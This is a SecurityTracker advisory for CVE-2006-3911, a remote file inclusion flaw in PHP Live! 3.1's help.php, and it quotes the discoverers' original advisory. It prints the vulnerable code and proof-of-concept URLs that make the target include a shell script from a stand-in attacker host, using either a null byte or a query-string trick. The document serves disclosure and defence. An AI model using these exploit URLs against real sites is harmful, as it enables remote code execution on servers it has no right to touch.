PHP Live! Include File Bug in 'help.php' Lets Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1017017
|
|
SecurityTracker URL: http://securitytracker.com/id?1017017
|
|
CVE Reference: CVE-2006-3911
(Links to External Site)
|
Updated: Jun 2 2008
|
Original Entry Date: Oct 9 2006
|
Impact: Execution of arbitrary code via network, User access via network
|
Exploit Included: Yes
|
Version(s): 3.1 and prior versions
|
Description: A vulnerability was reported in PHP Live!. A remote user can include and execute arbitrary code on the target system.
The 'help.php' script does not properly validate user-supplied input in the 'css_path' parameter. A remote user can supply a specially
crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including
operating system commands, will run with the privileges of the target web service.
A demonstration exploit URL is provided:
http://[target]/phplive/help.php?css_pat
h=http://[attacker]/shell.foo%00
Paisterist of [N]eo [S]ecurity [T]eam [NST] discovered this vulnerability.
The original advisory
is available at:
http://www.neosecurityteam.net/index.php?action=advisories&id=25
|
Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
|
Solution: No solution was available at the time of this entry.
[Editor's note: The latest version is 3.2.2. The report did not indicate whether the latest version is affected or not.]
|
Vendor URL: www.phplivesupport.com/ (Links to External Site)
|
Cause: Input validation error, State error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: paisterist.nst@gmail.com
|
Message History:
None.
|
Source Message Contents
|
Date: Sat, 07 Oct 2006 18:47:02 +0000
From: paisterist.nst@gmail.com
Subject: PHP Live! <= 3.1 help.php Remote File Inclusion vulnerability
|
/*
--------------------------------------------------------
[N]eo [S]ecurity [T]eam [NST] - Advisory #25 - 08/10/06
--------------------------------------------------------
Program: PHP Live!
Homepage: http://www.phplivesupport.com/
Vulnerable Versions: 3.1 and prior
Risk: High!
Impact: Critical Risk
-==PHP Live! <= 3.1 help.php Remote File Inclusion vulnerability==-
---------------------------------------------------------
- Description
---------------------------------------------------------
PHP Live! enables live help and live customer support communication directly from your website. With PHP
Live!, you can provide one-on-one chat assistance in real-time, answer visitor questions and add that extra human touch to
your website.
- Tested
---------------------------------------------------------
localhost & many sites
- Explotation
---------------------------------------------------------
Vulnerable code:
==[ help.php 30 ]=============================
[...]
<?php $css_path = ( !isset( $css_path ) ) ? $css_path = "./" : $css_path ; include_once( $css_path."css/default.php" ) ; ?>
[...]
==[ end help.php ]============================
How we can see there's an arbitrary file inclusion, so we can just include a file from another server , executing the php code
in the victim's server.
Proof of Concept: http://victim.com/phplive/help.php?css_path=http://www.attacker.com/shell.foo%00
We use a NULL byte at the final of the string because include_once() take a null byte like the end of a string. In this way,
"css/default.php" doesn't appears at the end of the var.
If you don't wanna use a NULL byte you can do something like:
http://victim.com/phplive/help.php?css_path=http://www.attacker.com/shell.foo?foo=
In this way $foo has css/default.php in the attacker script.
Note: this vulnerability is present only if register_globals is turned on.
There are a lot of Local and Remote File Inclusion vulnerabilities in this script... but there is no reason to publish it.
- How to fix it? More information?
--------------------------------------------------------
Visit our forum to know how to fix it or to get more information.
http://www.neosecurityteam.net/foro/
- References
--------------------------------------------------------
http://www.neosecurityteam.net/index.php?action=advisories&id=25
- Credits
--------------------------------------------------------
Discovered by Paisterist -> paisterist.nst [at] gmail [dot] com
[N]eo [S]ecurity [T]eam [NST] - http://www.neosecurityteam.net/
- Greets
--------------------------------------------------------
HaCkZaTaN
K4P0
Daemon21
Link
0m3gA_x
LINUX
m0rpheus
Argentina, Colombia, Chile, Bolivia, Uruguay EXISTS!!
@@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@
'@@@@@''@@'@@@''''''''@@''@@@''@@
'@@'@@@@@@''@@@@@@ @@@'''''@@@
'@@'''@@@@'''''''''@@@''''@@@
@@@@''''@@'@@@@@@@@@@''''@@@@@
/* EOF */
|
|